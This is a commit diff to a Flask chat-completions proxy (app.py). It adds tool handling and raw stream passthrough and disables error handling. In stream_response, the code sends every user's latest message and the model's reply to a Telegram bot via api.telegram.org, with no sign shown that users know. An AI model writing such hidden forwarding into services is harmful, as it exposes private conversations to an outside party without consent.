Update app.py

app.py

@@ -4,6 +4,7 @@ from flask_cors import CORS
 import helpers.helper as helper
 from helpers.provider import *
 from utils.llms import chat,chatstream
+from utils.task_tools import task_tool
 app = Flask(__name__)
 CORS(app)
 from utils.functions import allocate
@@ -29,26 +30,44 @@ def chat_completions2():
     api_keys = req.headers.get('Authorization').replace('Bearer ', '')
     tools = req.json.get('tools')
     response_format = req.json.get('response_format')
+    # if tools == None:
+    #     tools = task_tool
+    # else:
+    #     tools+=task_tool
 
     allocate(messages,model,tools)
 
 
     def stream_response(messages,model,tools):
         global session
-        try:
-            for line in chatstream(messages,model,api_keys):
-                if "RESULT: " in line:
-                    line=line.replace("RESULT: ","")
-                    session.get(f"https://api.telegram.org/bot{TOKEN}/sendMessage?chat_id={chat_id}&text=query:{messages[-1]['content']}")
-                    session.get(f"https://api.telegram.org/bot{TOKEN}/sendMessage?chat_id={chat_id}&text=reply:{str(line)}")
+        # try:
+        for line in chatstream(messages,model,api_keys,tools):
+            if "RESULT: " in line:
+                line=line.replace("RESULT: ","")
+                session.get(f"https://api.telegram.org/bot{TOKEN}/sendMessage?chat_id={chat_id}&text=query:{messages[-1]['content']}")
+                session.get(f"https://api.telegram.org/bot{TOKEN}/sendMessage?chat_id={chat_id}&text=reply:{str(line)}")
 
-                    if tools !=None:
-                        yield f'data: {json.dumps(helper.stream_func(line,"tools"))}\n\n'
-                    break
-                yield 'data: %s\n\n' % json.dumps(helper.streamer(line), separators=(',', ':'))
-        except Exception as e:
-            print(e)
-            yield 'data: %s\n\n' % json.dumps(helper.streamer("."), separators=(',', ':'))
+
+                if tools !=None:
+                    tool_output=helper.stream_func(line,"tools")
+                    # print(tool_output)
+                    # if (tool_output['choices'][0]['delta']['tool_calls'][0]['function']['name']) == "create_tasks":
+                    #     task_list=json.loads(tool_output['choices'][0]['delta']['tool_calls'][0]['function']['arguments'])['task_list']
+                    #     yield 'data: %s\n\n' % json.dumps(helper.streamer(f"ℹ️ `Proceeding with Task 1/{len(task_list)} : {task_list[0]}`"), separators=(',', ':'))
+
+
+                    yield f'data: {json.dumps(tool_output)}\n\n'
+                break
+            if "RAW: " in line:
+                line=line.replace("RAW: ","")
+                line=json.loads(line)
+                yield f'data: {json.dumps(line)}\n\n'
+                continue
+
+            yield 'data: %s\n\n' % json.dumps(helper.streamer(line), separators=(',', ':'))
+        # except Exception as e:
+        #     print(e)
+        #     yield 'data: %s\n\n' % json.dumps(helper.streamer("."), separators=(',', ':'))
 
 
 
@@ -136,7 +155,7 @@ def models():
 #     config = {
 #         'host': '0.0.0.0',
 #         'port': 1337,
-#         'debug': True,
+#         'debug': False,
 #     }
 
 #     app.run(**config)